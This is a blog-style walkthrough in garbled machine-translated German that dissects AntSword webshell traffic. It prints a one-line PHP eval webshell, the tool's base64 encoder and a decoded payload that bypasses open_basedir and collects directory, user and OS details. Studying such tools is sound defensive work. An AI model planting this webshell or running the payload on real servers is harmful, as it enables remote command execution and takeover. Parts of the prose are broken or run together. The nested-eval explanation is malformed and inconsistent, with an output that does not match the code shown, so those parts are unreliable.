2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
beziehen auf
vonErsteZum Beispiel
Trojanisches Pferd
<?php @eval(base64_decode($_POST['ant']));?>
Rufen Sie den Inhalt des Ant-Parameters ab, dekodieren Sie ihn dann mit Base64 und führen Sie ihn aus
Encoder
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');
Generieren Sie eine Zufallszahl „RandomID“, kodieren Sie die Daten mit Base64 und übergeben Sie sie an den Parameter „RandomID“.
Danneval(base64_decode($_POST[${randomID}]));die();
Führen Sie eine Base64-Codierung durch
Andererseits
Der Trojaner bekommt es zuerstdata[pwd]
Das istant
Der Wert wird nach der Base64-Dekodierung erhalten
eval(base64_decode($_POST[${randomID}]));die();
Tatsächlich wurde der Trojaner
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>
Angenommen, die generierte Zufallszahl ist randomIDA
, dann ist das so
<?php @eval(eval(base64_decode($_POST[A]));die(););?>
Im zweiten Schritt des Trojanischen Pferdes, demdata[randomID]
, das ist$_POST[${randomID}]
, das heißt, hier$_POST[A]
Es wurde Base64-codiert und muss daher einmal decodiert werden. Dann stellt sich die Frage, warum es zweimal ausgeführt werden muss. ? ?Dann müssen Sie es anhand des Verkehrspakets überprüfen
Es gibt hier keine Demonstration der Umgebungskonstruktion. Xiaopi, Yijian und Burpsuite reichen aus.
Dekodieren Sie die Datenpaketbasis
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
base64_decode($_POST[_0x36c084a15bf7d])
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
Dann wird eseval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")
Schauen Sie sich diesen großen Absatz an und sortieren Sie ihn
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "59ee6d"."26ac18";
echo @asenc($output);
echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();
Natürlich kenne ich nicht viele Funktionen, aber es gibt KI!
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.f19ddead";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\|//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};
};;
Dieser Absatz ist
Fehleranzeige ausschalten
Legen Sie die Ausführungszeit des Skripts fest
Rufen Sie den Konfigurationswert von open_basedir ab und umgehen Sie ihnopen_basedir
Attributbeschränkungen
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")
$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}else{
$R.="/";
}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
Dieser Abschnitt ruft das Verzeichnis ab, in dem sich das aktuelle Skript befindet, und initialisiert die Zeichenfolgenparameter.$R
, durchläuft den Laufwerksbuchstaben, CZ sprengt den Laufwerksbuchstaben und verwendet die Funktion posix_getegid, um den Benutzernamen, die Benutzergruppe und andere Inhalte des Benutzers abzurufen, der das Skript ausführt, und erkennt$u
Ob es existiert. Wenn es nicht existiert, verwenden Sie die Funktion get_current_user(), um es abzurufen. Verwenden Sie php_uname(), um die Betriebssysteminformationen abzurufen.
An dieser Stelle ist es sehr klar, dass dieser PHP-Code am Ende das aktuelle Ausführungsverzeichnis, den Laufwerksbuchstaben, den Benutzer und die Betriebssysteminformationen erhält
Sammelausgabe in der Funktion asoutput() durchführen,
Senden Sie das obige Anforderungspaket an das Repeater-Modul und stellen Sie fest, dass die zurückgegebenen Ergebnisse dieselben sind
Dies kann jedoch immer noch nicht erklären, warum es zwei Auswertungen gibt. Tatsächlich gehört der von ant übergebene Inhalt zur Zeichenfolge. Nur wenn eine Auswertungsebene außerhalb platziert wird, wird die Auswertung im Inneren als Funktion ausgeführt.
<?php
eval("eval('echo 1+1;');die();")
?>
Verwandeln
<?php
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>
Das endgültige Ausgabeergebnis ist 2, was bedeutet, dass die äußere Auswertung die Zeichenfolge zur Ausführung in eine Funktion umwandelt und die innere Auswertungsebene den Inhalt ausführt
In diesem Beispiel wird die Auswertung des Trojaners verwendet, um die Auswertungsfunktion im Anforderungspaket zu aktivieren und so den Effekt der Befehlsausführung zu erzielen.